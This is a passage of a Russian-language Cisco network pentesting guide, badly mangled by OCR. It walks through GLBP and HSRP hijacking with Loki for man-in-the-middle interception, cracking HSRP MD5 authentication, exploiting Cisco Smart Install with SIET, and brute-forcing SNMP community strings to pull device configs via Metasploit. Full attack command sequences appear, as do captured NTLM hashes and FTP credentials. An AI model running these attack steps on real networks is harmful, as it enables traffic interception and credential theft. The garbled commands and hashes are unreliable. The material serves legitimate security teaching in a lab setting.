3.238.77.О [170/28160) via 10.10.100.50, 00:00:01, FaзcEthernetl/0
4.0.0.0/24 is зuЬnetted, 4 зuЬnets
4.32.157.О [170/28160] via 10.10.100.50, 00:00:02, fastEthernetl/0
4.51.54.0 [170/28160) via 10.10.100.50, 00:00:01, FaзcEchernecl/0
4.139.242.О [170/28160) via 10.10.100.50, 00:00:02, fastEthernetl/0
4.219.170.0 [170/28160] via 10.10.100.50, 00 :00:02, FastEthernecl/0
Рис. 4.44. Переполняющаяся таблица маршрутизации на роутере GW1
101
Большой гайд по пентесту сетей Cisco
Таблица маршрутизации начинает переполняться маршрутами (рис. 4.44). Рандом­
ные адреса целевых сетей обусловлены использованием RandI Р () в Scapy.
Центральный процессор маршрутизатора нагружен до 96% (рис . 4.45).
Рис. 4.45. Перегруженный CPU маршрутизатора
МIТМ-атака через абьюэ
проприетарных FНRР-протоколов Cisco
Зачем нужен FHRP
FHRP (First Нор Redundancy Protocol) -
класс сетевых протоколов, предназначен­
ных для создания системы горячего резервирования маршрутизации. С помощью
FHRP физические маршрутизаторы могут объединяться в одно логическое устрой­
ство, что повышает отказоустойчивость и помогает распределять нагрузку.
Инженеры Cisco Systems разработали два FНRР-протокола -
это GLBP и
HSRP,
пентест которых я продемонстрирую дальше.
Угон GLBP и перехват трасрика
GLBP (Gateway Load Balancing Protocol) - это еще одна разработка инженеров
Cisco Systems, созданная для организации системы горячего резервирования мар­
шрутизаторов. Является частью класса протоколов FHRP. В отличие от HSRP и
VRRP, предлагает настоящую балансировку нагрузки, а именно:
□ round-roЬin (по умолчанию GLBP использует именно этот вариант);
□
host-dependent;
□
weighted-like.
Глава 4
102
Роли в GLВР-домене и терминология
□
AVG (Active Virtua\ Gateway) -
маршрутизатор с главенствующей ролью, также
отвечает за раздачу МАС-адресов остальным маршрутизаторам в рамках одной
группы GLBP. Эдакий «босс» в домене GLBP. А VG указывает остальным мар­
шрутизаторам, как распределять трафик, раздавая им МАС-адреса, когда при­
летает АRР-запрос. Стоит отметить, что в домене
GLBP А VG-маршрутизатор
может быть только один, но он также может быть АVF-чле1:1ом.
□
AVF (Active Virtual Forwarder) -
маршрутизатор в группе GLBP, занимающий­
ся обработкой трафика в сети.
□
GLBP Priority -
значение приоритета, определяющее, какой маршрутизатор
в группе GLBP будет AVG. По умолчанию это значение равно
100 (диапазон
приоритета может быть от 1 до 255). Может настраиваться вручную, т. е. сете­
вой инженер сам определяет, какой роутер будет «начальником», а какой «под­
чиненным». Чем выше приоритет, тем больше вероятность, что маршрутизатор
получит АVG-роль. Обычно АVG-роль дается более мощным маршрутизаторам.
□
GLBP Weight- значение так называемого веса маршрутизатора в группе GLBP.
GLBP Weight определяет уровень нагрузки на маршрутизатор. Это значение
«плавающее» и может меняться в зависимости от нагрузки на физический канал
(задействован механизм Object Tracking), но можно настроить его и вручную.
□
GLBP Virtual IP Address -
виртуальный IР-адрес в домене GLBP. Используется
в качестве адреса шлюза по умолчанию для легитимных хостов.
Для трансляции и обработки служебной информации GLBP использует зарезерви­
рованный IР-адрес групповой рассылки 224. о. о .102 и протокол транспортного уров­
ня UDP под номером порта 3222. Специальные пакеты приветствия GLBP Hello
отправляются каждые три секунды. Если в течение десяти секунд GLВР-маршру­
тизатор не получил пакет приветствия от соседа, то сосед будет признан «мерт­
вым» и выпадет из домена GLBP.
GLBP Hijacking
Техника этой сетевой атаки заключается в том, чтобы навязать свое устройство
в
качестве
главного
маршрутизатора
с
помощью
инъекции
вредоносного
пакета
GLBP с максимальным значением приоритета. У спешная эксплуатация приводит
к DoS- или МIТМ-атаке, в результате которой вы сможете перехватить трафик
внутри сети, провести редирект или вызвать DoS, т. к. вы захватываете роль АVG­
маршрутизатора. Достаточно собрать GLВР-пакет с наивысшим значением приори­
тета 255 и направить его в сторону локальной сети (рис. 4.46, 4.47).
Loki
Для демонстрации этой атаки я буду использовать Loki. Он выполнит вредоносную
GLВР-инъекцию с максимальным значением приоритета 255 и максимальным зна­
чением веса 255. Но перед проведением атаки нужно изучить следующую инфор­
мацию:
Большой гайд по пентесту сетей Cisco
103
Рис. 4.46. Как будет ходить трафик до проведения атаки
Рис. 4.47. Как будет ходить трафик после проведения атаки
□ виртуальный IР-адрес, использующийся в GLВР-домене;
□ наличие аутентификации;
□ значение приоритетов маршрутизаторов.
Эту информацию мы сможем извлечь с помощью анализа трафика GLBP. Восполь­
зуемся Wireshark.
Как
видим,
в
процессе
GLBP
задействованы
10 .10 .100 .100 и 10 .10 .100. 200 (рис. 4.48--4.50).
только
два
маршрутизатора:
Глава 4
104
Рис. 4.48. GLВР-объявления от двух маршрутизаторов
Рис. 4.49. Информация о конфигурации GLBP первого маршрутизатора
105
Большой гайд по пентесту сетей Cisco
Рис. 4.50. Информация о конфигурации GLBP второго маршрутизатора
После анализа GLВР-трафика мы имеем следующее:
□ обнаружена мисконфиrурация в рамках настройки приоритетов . А VG-роутером
считается GLВР-маршрутизатор с приоритетом 200, т. е. вектор для угона GLBP
у нас есть;
□ отсутствует аутентификация;
□ виртуальный IР-адрес, использующийся в GLВР-домене, -10.10.100. 25 4.
Обладая этой информацией, мы можем без труда атаковать GLBP. Расчехляем Loki
(рис . 4.51 ).
Перед проведением атаки переключаемся в неразборчивый режим и разрешаем
маршрутизацию трафика:
caster@kali : -$ sudo ifconfig eth0 promisc
caster@kali : -$ sudo sysctl -w net . ipv4.ip f orward =l
Выбираем маршрутизатор с IР-адресом 10 .1 0 .1 00 .1 00 и активируем опцию Get
IP.
Также нужно сгенерировать Gratuitous ARP (рис . 4.52, 4.53).
Как
видим, теперь
АVG-роутером
приоритета 255, значение веса -
притворяется
атакующая
система.
Значение
255, т . е. максимальные.
После выполнения инъекции необходимо создать вторичный IР-адрес на нашем
сетевом интерфейсе со значением виртуального IР-адреса в домене GLBP. Также
Глава 4
106
Рис. 4.51. Loki обнаружил объявления GLBP с двух маршрутизаторов
Рис. 4.52. Начало атаки
Большой гайд по neнmecm_,_y_c_e_m_e_u_-_C_is_c_o_· ____________________1_0_7
Рис . 4.53. ~стройство вредоносной GLВР-ин..,екции
нужно задать 24-битную маску . Так легитимный трафик будет заворачиваться на
нас , поскольку использующийся виртуальный IР-адрес в домене
GLBP является
адресом шлюза по умолчанию для хостов.
caster@kali : -$ sudo ifconfig ethO:l 10 . 10.100.254 ne t mask 255 . 255 . 255 . 0
Чтобы видеть не только входящий трафик, но и исходящий, нам понадобится не­
большое правило для Source NA Т (masquerading):
caster@kali : -$ sudo iptaЫes - t nat - А POSTROUT ING - о ethO - j МASQU ERA DE
Также нужно удалить маршрут по умолчанию на нашей машине и прописать но­
вый ,
который
будет ходить
через бывший
АVG-маршрутизатор (его адрес-
10 . 10.100 .1 00 ) . Даже несмотря на то, что мы перехватили АVG-роль у маршрутиза­
тора, он все равно сможет выполнить маршрутизацию трафика .
caster@kali:-$ sudo route del default
caster@kali:-$ sudo route add - net О.О . О.О netmask 0 . 0.0:0 gw 10 . 10 .1 00.100
Вот и вс е, теперь мы стали тем самым «человеком посередине»! Запущу инстру­
мент net- creds.py (https://github.com/DanMclnerney/net-creds) для анализа трафи­
ка, чтобы поискать важные данные. Например , незашифрованный FТР-трафик или
NТLМ-хеши .
caste r @kali:-$ sudo python2 net -creds -master/net - creds .py - 1 ethO
Глава 4
108
После запуска утилиты попробую прочесть SМВ-шару с IР-адресом 172 .16 .100. 70,
которую находят GLВР-маршрутизаторы (рис. 4.54).
user@Boundless:~$ smЬclient -1 \\172.16.100.70 --user mercy
necreas1ng@lnguz: -/net-cr
11
necreas1ng@lnguz: -/net-creds -master
х
necreas1ng@Inguz :-/net-creds-master$ sudo python2 net-creds.py -i eth0
[*] Using interface: eth0
[ 10 .10. 100. 20: 57730 > 172 .16 .100. 70: 445] NETNTLl•IV2: mercy: : ~IORKGROUP: 0bЗe448f9f8805aa: Of18a 7a8f abc8aaбa93fS
05500500001000с00440055005З0054005500500004000с00440075007З007400750070000З000с0044007500730074007500700007
а9Зс8dЗ42бd168ба188бf12908З869dсс3281ее4сеЗ24fе5еЬf0а00100000000000000000000000000000000000090024006300б90С
Рис. 4.54. Перехваченный NTLM-xeш пользователя mercy
Вот таким образом можно перехватывать трафик внутри сети, атакуя домены
GLBP.
Угон HSRP и перехват трасрика
HS~ (Hot Standby Router/Redundancy Protocol) -
проприетарный протокол Cisco,
который позволяет обеспечить избыточность сетевого шлюза. Общая идея заклю­
чается в том, чтобы объединить несколько физических маршрутизаторов в один
логический с общим IР-адресом. Этот адрес виртуального маршрутизатора будет
назначаться на интерфейс маршрутизатора с главенствующей ролью, а тот, в свою
очередь, займется форвардинrом трафика. В домене HSRP задача обработки всего
трафика ложится именно на маршрутизатор с главенствующей ролью, в отличие от
GLBP, где предлагалось распределение нагрузки за счет использования специаль­
ных метрик (приоритет и вес).
Роли в НSRР-домене и терминологиsа
□
HSRP Active Router -
устройство, играющее роль виртуального маршрутиза­
тора и обеспечивающее форвардинr трафика из сетей источника до сетей назна­
чения.
□
HSRP Standby Router -
устройство, играющее роль резервного маршрутизатора,
которое ожидает отказа активного маршрутизатора. После падения основного
Active-poyтepa Standby-poyтep возьмет на себя главенствующую роль и будет
заниматься обязанностями Active-poyтepa.
□
HSRP Group -
группа устройств, которая обеспечивает работу и отказоустой­
чивость логического маршрутизатора.
□
HSRP МАС Address в домене HSRP.
виртуальный МАС-адрес логического маршрутизатора
109
Большой гайд по пентесту сетей Cisco
□
HSRP Virtual IP Address - это специальный виртуальный IР-адрес в группе
HSRP. Этот IР-адрес будет шлюзом по умолчанию для конечных хостов, ис­
пользуется на самом логическом маршрутизаторе.
Версии протокола HSRP
У протокола
HSRP есть две версии -
HSRPvl
и
HSRPv2. Они отличаются сле­
дующими параметрами:
□ количество возможных логических групп. В
HSRPvl
их может быть до
255.
У HSRPv2 количество групп может достигать 4096;
□ IР-адрес мультикастовой рассылки. HSRPvl для трансляции служебной инфор­
мации использует IР-адрес 224. о. о. 2, а HSRPv2 - 224. о. о .102;
SRPv I в качестве виртуального МАС-адреса исполь­
HSRPv2 виртуальный МАС-адрес oo:oo:0C:9F:FX:XX (где
это номер группы HSRP).
□ виртуальный МАС-адрес.
зует ОО:ОО:Ос:О7:Ас:хх. У
хх -
Для трансляции и обработки служебной информации HSRP использует зарезерви­
рованный IР-адрес групповой рассылки 224. о. о. 2 или 224. о. о .102 (в зависимости от
версии HSRP) и протокол транспортного уровня UDP с номером порта 1985. Специ­
альные пакеты приветствия
HSRP Hello отправляются каждые три секунды. Если
в течение десяти секунд НSRР-маршрутизатор не получил пакет приветствия от
соседа, то сосед будет flризнан «мертвым» и выпадет из домена HSRP.
HSRP Hijacking
Здесь абсолютно все то же самое, что с GLBP Hijacking. Нам необходимо провести
вредоносную НSRР-инъекцию с максимальным значением приоритета 255. Это
позволяет захватить роль Асtivе-маршрутизатора, что открывает возможности для
МIТМ-атаки. Но опять же перед проведением атаки нам нужно изучить следую­
щую информацию:
□ виртуальный IР-адрес, использующийся в НSRР-домене;
□ наличие аутентификации;
□ значение приоритетов маршрутизаторов.
Эту информацию мы сможем извлечь с помощью анализа трафика HSRP. Восполь­
зуемся Wireshark.
Как видно на скриншоте, в процессе HSRP задействованы только два маршрутиза­
тора с адресами 10 .10 .100 .100 и 10 .10 .100. 200 (рис. 4.55-4.57).
Исходя из анализа НSRР-трафика, мы имеем следующее:
□ обнаружена мисконфигурация
в рамках настройки
приоритетов.
Active-poy-
тepoм считается НSRР-маршрутизатор с приоритетом 200, т. е. вектор для угона
HSRP у нас есть;
□ используемый виртуальный IР-адрес в НSRР-домене -
10.10.100.254;
□ используется МD5-аутентификация.
Наличие аутентификации в ;~оменс связывает нам руки, но скоро я это исправлю.
Глава 4
110
Рис. 4.55. НSRР-объявления от двух маршрутизаторов
Рис. 4.56. Информация о первом НSRР-маршрутизаторе
Большой гайд по пентесту сетей Cisco
111
Рис. 4.57. Информация о втором НSRР-маршрутизаторе
Authentication Bypassing
Дамп трафика
HSRP сохраняем в формате .рсар, чтобы эксфильтратор смог кор­
ректно извлечь хеши MDS из дампа.
python2 hsrp2john.py hsrp_with_authentication. рсар
r1t•( r 1•.1s 1nga}In~uz :-/cisconightinare/exfi \ trate$
$h s rp$0UOOfl80 зоа 64010000000011ово0110000оа Оа64 f е 01, 1 с 01 OOiO 000а оамс 8000 000 0000000011000000000000 0000000000000 $3 с90996е з 49 f BOd Ь 7 7 f ас 5d 6213 2 73 з 4
$h s rp$00001BfJ З Вас 8111 U801i0U001111011110U О011а 0а64 f е041 с 810000100a0a6lt MOUIJ0000000Q00011000000000000 01100000000000$а 1с Sа аебЬ84Ы f а 9 24 33d 384 Мс d2 7 f 4
$h s rp$OU 000 803 Оа 6401 00000000110000000000а 0а64 f е 041 с 01 0000000а0а64 с 80 0000000000000 0000000000000 0000000000000 $3 с 90996е 34 9 f 8 Od Ь 7 7 f 8с Sd 6213 2 73 34
$h s rp$001!10188 3О ас вс, 100080008 00808800000а 8а64 f е-841с'118008008а0а 6to М 08800000000000000 000000000000080000 00000$а 1 с Sаае-6 Ь84Ы f а9 24 33 d 3Bt. 64с d 2 7 f 4
$h s rp$00800803 0 а 6401 lt008BB0000000000000a 0аб4 f е 0 41 с 01 lt000000a0a б4 с 8000000000000000000000000800 00000000 00008$3 с9099бе 349 f 80d Ь 7 7 f 8с Sd 6213 2 73 3 4
$h s rp$0000100 30ас 80180018000 088000 оооооа 0а64 f е841 с о 1ее 01800а0а бt. 64 00000000000000 000 0000000000 001100000 00000 $а 1 с Sааеб Ь84Ы f а 9 24 33 d 384 64 с d 2 7 f 4
$h s rp$000 00803 0аб401110000 080000080000 00 а0аб4 f ее 41 с 010001000а0а 64 с 808000000000000 000000000ов000000000000000$3 с90996е 349 f 80d Ь 7 7f 8с Sd 6 213 2 73 34
$h s rp $00001003 0 ас801 D0008110ill0800800180 а 8 а64 f е841 с 01 001i0000a0a 64641100100000 IJ00000000008008000 OOU0000010000 $а 1 с Sa ае б Ь84Ь2 f а 9 24 3 3d 384 Мс d 2 7 f 4
$h srp$000008 а зоамо 111DOII00000i000000000 а0аб4 f е041 с 0110081i00a0a 64 с8011008000000000001100000 00000 0000000000000 $ 3 с909 96е 349 f 80d Ь 77 f Вс !)d 621з27 334
$h srp$001101 о 03 Оас801 0000011001100'8001100 00alla64 f е141 со 1 Q0U 00 00а8аЬ4б 4000000000 000'800000000000000800000 0000000$а 1 с 5 а ае ЬЬ84Ы f а 9 243 З d 384 М cd 2 7 f 4
$h s rp$0000180 з Вас 8111000000uo0000g1000 воаоа 64 f е041с01000000оаоа646400000000000000 00000000 000000000000000000$а 1 с 5 а ае6 Ь84Ы f а 924 33 d 384 Мс d2 7 f 4
$h s rp$00000803 Ваб481 0 08000081t0080B80000a8a 64 f е841 с0111088000а lta Мс 800800000000000001J0000800000000000 0000000$3 с 909 9бе 349 f 80d Ь 7 7 f Вс Sdб213 2 73 3 t.
$hs rp$0000100 30ас в010000110оэ00000000а 0оаоа 64 f е841 с о 1000000оаеа 646400000000000000 000 00 0000000000000000 00000$а 1 csa аебЬ84Ы f а 9 24 33 d 384 64 с d2 7 f 4
$hsrp$00000s030aб4010в0eeooeoa000eeeoooaea&4fee41c01e0oe0oeaoaб4c8008000000B00000e00ee000oe00eeoe0000oeeo0$3c9B996e349f80db77f8c5dб 21327334
$hs rp$0 0001 ое 3Оа с 801000010ое00000000100а 0а 64 f е041с010000000а 0а 646400 ее 0000000000000 000000000000000000 00000$а 1 с Sa ае 6 Ь84Ы f а9 24 33 d 384 64 с d 2 7 f 4
$hsrp$000008030a6401000&00&000000100000a0a64fee41ce1e00eooeaoaмcв0eooe00000000000g0000000000000000000ee00$3c90996e349f80db77f8c5d621327334
srp
а • .,,..,, •• ,, ••• ,.,..,,..,,. •• а
а
е
с\
1 1 ' \ 1 ' 1 • ' 1а
$hsrp$OOB010030ac801r100100&001100Ui000011a0aЬ4fe041C
! ', 1 : ~ 1 '
$h s rp$00000803 0а 648100000ооеоо00000 О810а оа б-4 f е841 с 1
11
c •• ,,..,, •• ,,. ••
.,,.,,,uo,••••••'••••••''"•'"''"•''""'"'
е
c,u,,,,_,,, ,,.
1 aб4б40000000800000000000000"00000000000000000$a1c5aae6b84Ыfa92t.33d384Mcd27f4
I H . \ ,- ', ,4с 80000000 000000000000000000000000000000000$3с9 09 96е 3-49 f 80db 7 7 f 8с 5dб213 2 73 з 4
$hsrp$0000111030ac8010008001000000800000a0aб4fe841cl111000808a0aбltб4010000080000000B000000000000008000000000$a1c5aaeбb84Ыfa92433d384Mcd27f4
$h s rp$000 08 803 Оа 640180000 OOOOIJIJfHillBIIOa 8а 64 f е841 с 01 lt008080a ia64c 800 001J0088000008008000000000000000 0000000$Зс 9 09 9бе 349 f 80db 7 7 f 8с 5dб213 2 73 3 4
$h s rp$0000100 38а с ве1оееое0еееее0веееоееа еа 64 f е841с о 11008888а8а бt.6400fJ00000IJ00000000800i8000000008000808000$a 1 с Sa ае6Ь84 Ы f а9 24 33 d 384 бчс d 2 7 f 4
$h s rp$008 01 еез о ас 881 е108еоае ва1001еоа01а еа &4 f е841 с D1 а001000а Оаб46401t0ое оее0000000000000е000000000000еое000$а 1 с Sa аебЬ84 Ы f а9 243 3d 384 64с d2 7f 4
$h s rp$000008О3Оа6401080080080080018081Ва Оа 64 f е84 1 С 1) 1IJBOIO&lla Оабt.с 8008000008001ВО80000000088000000000010000$3с9099бе 3t.9 f 80db 7 7 f 8с 5dб213 2 73 34
$h s rp$i010081J 31 .tб411 IJ808108001QOI080001aBa64 f е141 с О 18001 IJ08a 0аб4с 801110100100800000800000000 008000000008008$3с 9 09 96с 34 9 f 80db 77 f 8с 5dб213 2 73 34
$h s rp$080 01003 О ас 80108001iOIIJOl80800880a la64 f е141 с О 1IJ081011a laбt.64001110 88081J00008000008000008110080100rl ООО О$а 1 с Sa аебЬ84 Ы f а9 24 3 3d38464 с d 2 7 f 4
$t, s rp$80(1U08113 8аб4 01 U008008001110810Ullllfa 0а64 f е041 с 8181itOU IIOrlaOaб4c 80BI Olt001it00i00800000000000008000000000000$3c 9099 бе 34 9 f 80db 7 7f вс 5d6213 2 73 34
$h s rp$00001103 еас 881 0000100810000880811 а lаб4 f е141 с l 11001011Ja Оабt.64 U00108800108108UOUOOU8080000001J00000 0080$а 1 с Sa ае6Ь84 Ь2 f а9 243 3d38464 с d2 7 f 4
$h s rp$8000088 38аЬ4111808100811108108118аОаб4 f е-141 с111881101Jа0аб4 с8 081011J081J0080010000000000000000000G00008$3c 9 099Ье 3 49 f 80db 77 f Вс 5dб213 2 7334
Рис. 4.58. Извлеченные из дампа НSRР-трафика хеши MD5
112
Глава 4
В качестве эксфильтратора я буду использовать hsrp2john.py (рис. 4.58):
caster@kali:~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
Хеши я сбручу с помощью John the Ripper, укажем сами хеши в качестве входных
данных. А с помощью ключа --wordlist укажу путь до словаря (рис. 4.59):
caster@kali:~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
В итоге мы имеем ключ для входа в домен HSRP -
endgame.
Рис. 4.59. Взломанный пароль от домена HSRP
Loki
Для атаки на протокол. HSRP буду использовать все тот же Loki. У него, помимо
прочего, есть возможность инжекта с ключом, что помогает обходить аутентифи­
кацию. Раньше, в разделе HSRP Hijacking, мы получили всю необходимую инфор­
мацию о домене HSRP.
Запускаем Loki (рис. 4.60).
Не забываем перед проведением атаки переключиться в неразборчивый режим
и разрешить маршрутизацию трафика:
caster@kali:~$ sudo ifconfig ethO promisc
caster@kali:~$ sudo sysctl -w net.ipv4.ip_forward=l
Выбираем маршрутизатор с адресом
l 0.10.100. l 00 и приоритетом 200. В качестве
Secret вводим взломанный пароль от домена HSRP, генерируем
Gratuitous ARP и выбираем опцию Get IP (рис. 4.61, 4.62).
параметра
Как мы видим, теперь Active-poyтepoм является наша атакующая система. Значе­
ние приоритета -255.
После выполнения инъекции необходимо создать вторичный IР-адрес на нашем
сетевом интерфейсе со значением виртуального IР-адреса в НSRР-домене. Также
нужно указать 24-битную маску. Таким образом, легитимный трафик будет завора-
Большой гайд по пентесту сетей Cisco
Рис. 4.60. Loki обнаружил НSRР-объявления
Рис. 4.61 . Начало атаки
113
Глава 4
114
Рис. 4.62. Устройство вредоносной НSRР-инъекции
чиваться на нас, поскольку применяемый виртуальный IР-адрес в домене HSRP это адрес шлюза по умолчанию для хостов.
caster@kali:~$ sudo ifconfig eth0:1 10.10.100.254 netrnask 255.255.255.0
Настраиваем известный нам
Source NA Т (masquerading) для перехвата всего тра­
фика:
caster@kali:~$ sudo iptaЫes -t nat -А POSTROUTING -о eth0 -j МASQUERADE
Удаляем маршрут по умолчанию на нашей машине и прописываем новый, который
будет ходить через бывший Асtivе-маршрутизатор (его ащ~ес 10 .10 .100 .100 ). Даже
несмотря на то, что мы перехватили активную роль у маршрутизатора, он все равно
сможет выполнить маршрутизацию трафика.
caster@kali:~$ sudo route del default
caster@kali:~$ sudo route add -net О.О.О.О netrnask О.О.О.О gw 10.10.100.100
Теперь мы «человек посередине». Запускаем net-creds .ру:
caster@kali:~$ sudo python2 net-creds-rnaster/net-creds.py -i eth0
После запуска утилиты я воспроизведу попытку пройти аутентификацию на серве­
ре FTP по адресу 172.16.100.140
user@Boundless:~$ ftp 172.16.100.140
В итоге получаем креды от сервера FTP: insornnia:betrayal (рис. 4.63).
Вот так можно атаковать домен HSRP и перехватывать трафик. В принципе, все
похоже на GLBP.
115
Большой гайд по пентесту сетей Cisco
n
necreas1ng@lnguz: ~/net-creds-master
necreas1ng@lnguz: ~
пес rr~s 1ng,,,r nguz : ~/net-creds-master$ sudo
necreas1ng@lnguz: ~/net-c
python2 net-creds.py -i eth0
[*] Using interface: eth0
[10.10.100.20:56124 > 172.16.100.140:21] FТР User: insomnia
[10.10.100.20:56124 > 172.16.100.140:21] FТР Pass: betrayal
[172.16.100.140:21 > 10.10.100.50:56124] Authentication: successful .
1
Рис. 4.63. Перехваченные креды от FТР-сервера
Эксплуатация Cisco Smart Install
Cisco Smart lnstall -
это инструмент. призванный автоматизировать процесс пер­
воначальной конфигурации и загрузки образа операционной системы для нового
Cisco . По умолчанию Cisco Smar1 lnstall активен на оборудовании
Cisco и использует протокол транспортного уровня - ТСР с номером порта 4786 .
оборудования
В
2017 году в этом протоколе нашли критическую уязвимость CVE-2018-0171 .
9,8 балла по шкале CVSS.
Уровень опасности -
Специально собранный пакет, который отправляется на порт ТСР/4 786, где активен
Cisco Smar1 Install, триггерит переполнение буфера, вследствие чего злоумышлен­
ник сможет :
□ принудительно перезагрузить устройство;
□ вызвать RCE;
□ похитить конфигу рации сетевого оборудования .
Для эксплуатации этой уя з вимости был разработан инструмент SIET (Smar1 Install
Exploitation Tool , https://github.com/frostblts-security/SIET), он позволяет абью­
зить Cisco Smar1 lnstall. В этом разделе я покажу, как можно считать легитимный
файл конфигурации сетевого оборудования. Эксфи.nьтрация конфигов может быть
ценна для пентестера . поскольку он уз нает об уникальных особенностях сети. А это
облегчит жизнь и позволит найти новые векторы для атаки.
В качестве целевого устройства выступит «живой » коммутатор Cisco Catalyst 2960.
На виртуальных образах нет Cisco S111ar1 lnstall, поэтому попрактиковаться удастся
только на настоящем желе 1 е .
Глава 4
116
Рис. 4.64. Успешная эксплуатация уязвимости
Рис. 4.65. Часть содержимого конфигурации коммутатора
Большой гайд по пентесту сетей Cisco
Адрес целевого коммутатора -
117
10 .10 .100 .10, CSI активен. Загружаем SIET и начи­
наем атаку (рис. 4.64 ). Аргумент -g означает эксфильтрацию конфигурации с уст­
ройства, аргумент -i позволяет задать IР-адрес уязвимой цели.
caster@kali:~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
Конфиг коммутатора 10.10.100.10 будет находиться в папке tftp/ (рис. 4.65).
Экссрильтрация консригурации
и перечисления через SNMP
SNMP (Simp1e Netvюrk Management Protocol) -
протокол, который позволяет от­
слеживать состояние устройств в компьютерной сети. Это может быть сетевое обо­
рудование, 1Р-телефон1,1, корпоративные серверы или что-то еще.
SNMP использует протокол транспортного уровня UDP с номерами портов
161/UDP и 162/UDP. Для обращения агентов SNMP к серверу используются так
называемые community strings. Это, скажем так, специальные пароли для взаимо­
действия с SNМР-сервером. У community strings есть права либо RO (read-only,
только чтение), либо RW (read-write - и чтение, и запись).
На самом деле SNMP может не только отслеживать состояние оборудования, но и
полноценно им, управлять: дампить конфиги, изменять конфигурацию и т. д. Если
пентестер сможет перебрать значение community strings, он фактически получает
доступ к оборудованию. Впрочем, все зависит от того, какую строку он сбрутит­
на RO или на RW.
INFO
Работу протокола SNMP я описал в общих чертах, рекомендую вам изучить следую­
щие материалы, чтобы было понятнее, как работает SNMP «под капотом»:
•
Simple Network Management Protocol (Wikipedia)
(https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol);
•
Network Basics: What 1s SNMP and How Does lt Work?
(https://clck.ru/ЗBЗqmW).
Брутфорс community-cтpoк можно реализовать с помощью утилиты
onesixtyone
(https://github.com/trailotъits/onesixtyone, рис. 4.66). В качестве входных данных
она будет принимать словарь для брутфорса и IР-адреса целевых хостов. В качестве
целей выступят:
□
10.10.100.1 О -
□
10.10.100.254 -
коммутатор Cisco vIOS;
маршрутизатор Cisco vIOS.
caster@kali:~/snmp$ onesixtyone -с communitystrings -i targets
Мы выясняли, какие community strings используются на упомянутых устройствах.
Это открывает нам дорогу для эксплуатации.
Глава 4
118
п
necreas1ng@lnguz: -/snmp
nt"cr·easlngo)Inguz :-/snmp$ onesixtyone -с connunitystrings - i targets
Scanning 2 hosts, 7 cormшпi ties
10.10.100.254 [puЫic) Cisco ros Software, IOSv Software (VIOS-ADVENТERPRISEK9-M), Version 15.5{3)М, RELEASE SOПWARE (fc1) 1
Copyright {с) 1980-2015 Ьу Cisco Systems, Inc. Compited Wed 22 - Jul- 15 23: 04 Ьу prod_rel _t eam
10 .10 .100.10 [puЫic) Cisco IOS Software, vios_l2 Software ( vios _l2-ADVENТERPRISEK9 -M), Versio11 15. 2( 4. 0. 55 )Е, TEST ENGINEERH
nicat Support: http://.,.,.,.cisco.com/techsupport Copyright (с) 1980-2 015 Ьу Cisco Systems, Inc. Со
10 . 10.100.254 [private) Cisco 105 Software, IOSV Software (VIOS-ADVENТERPRISEK9-M), Version 15.5{3)М, RELEASE SOПWARE {fcl)
Copvright {с) 1986-2015 Ьу Cisco Systems, Inc. Compi\ed Wed 22 - Jul - 15 23:04 Ьу prod_ret _team
10. 10.100 . 10 [private) Cisco I0S Software, vios_12 Software {vios _ l2-ADVENТERPRISEK9-M), Version 15. 2( 4. 0 .55)Е, ТЕSТ ENGINEERJ
hnicat Support: http : //ww.cisco.com/techsupport Copyright (с) 1980- 2015 Ьу Cisco Systems, Inc . Со
necreas1ngitnguz :-/snmp$
Рис. 4.66. Выяснены значения community strings
cisco_conf ig_tftp
С помощью фреймворка Metasploit, а именно модуля cisco_conflg_ tftp, можно вы­
дернуть конфигурацию устройства, зная значение community string. Строка, имею­
щая права на RW, -
private.
Нам понадобится следующее:
□ значение строки, имеющей права на RW (соммuNIТУ);
□ IР-адрес атакующей системы·(1ноsт);
□ IР-адрес целевого оборудования (RНosтs);
□ путь, по которому модуль выведет конф11гурацию устройства ( оuтютоrR).
msfб
auxiliary(scanner/snrnp/cisco_config_tftp)
auxiliary(scanner/snrnp/cisco_config_tftp)
msfб auxiliary(scanner/snrnp/cisco_config_tftp)
msfб auxiliary(scanner/snrnp/cisco_config_tftp)
msfб auxiliary(scanner/snrnp/cisco_config_tftp)
msfб
> set COMMUNITY private
> set RНOSTS 10.10.100.10
> set LHOST 10.10.100.50
> set OUTPUTDIR /home/caster/snrnp
> exploit
После запуска модуля в указанную папку будет выкачана конфигурация хоста
с адресом 10 .10 .100 .10 ( 10 .10 .100 .10. txt, рис. 4.67).
snmp_enum
С помощью этого модуля можно узнать информацию о целевом оборудовании. Все
абсолютно то же самое: указываем соммumтУ (кстати, подойдет даже стро,ка с права­
ми RO) и IР-адрес целевого устройства (рис. 4.68).
msfб
auxiliary(scanner/snrnp/snrnp_enum) > set COММUNITY puЬlic
auxiliary(scanner/snrnp/snrnp_enum) > set RНOSTS 10.10.100.10
msfб auxiliary(scanner/snrnp/snrnp_enum) > exploit
msfб
Большой гайд по пентесту сетей Cisco
n
119
necreas1ng@lnguz
!,
version 15.2
service timestamps debug datetin1e msec
se1·vice timestamps 1og datetime msec
по service password-encryption
se1·vice compress-config
hostr1ame SW1
boot-start-marker
boot-end-marker
username admin privi1ege 15 secret 9 $9$wem3dUXOZЬlv62$wH/Ge4.CApsasКAF.ZyL~!YZЗClkdКmAce7GHmT274ZU
по ааа new-model
ip domain-name inguz.com
ip cef
по ipvб cef
spanning-tree mode rapid-pvst
spanning-tree extend system-id
v1an interna1 al1ocation policy asceriding
10.10.100.10.txt
Рис. 4.67. Часть содержимого конфигурации оборудования SW1
ТТостэксплуатация взломанного устройства
Bruteforce hashes
Когда вы перечисляете конфигурацию устройства, есть смысл попытаться сбрутить
хеши паролей . Вдруг вам удастся сбрутить хеш пароля той учетной записи, которая
имеет максимальные привилегии? В Cisco 10S есть несколько типов паролей, кото­
рые хранятся в зашифрованном виде . Табличка ниже сориентирует вас по типам
хешей. как их брутить и сколько времени для этого понадобится (рис. 4.69).
Глава 4
120
а
nt:creas1ng@lnguz: ...Jsnmp
necreas1ng@lnguz: ... /snmp
~
necreas1ng@lnguz. --fsnmp
"
) > exp\oit
auxiliary(
[+] 10.]0,100,18, Connected.
[•] System i nfonnation :
Host IP
: 10.10.100.10
Hostname
: SW1. inguz .сот
Descript ion
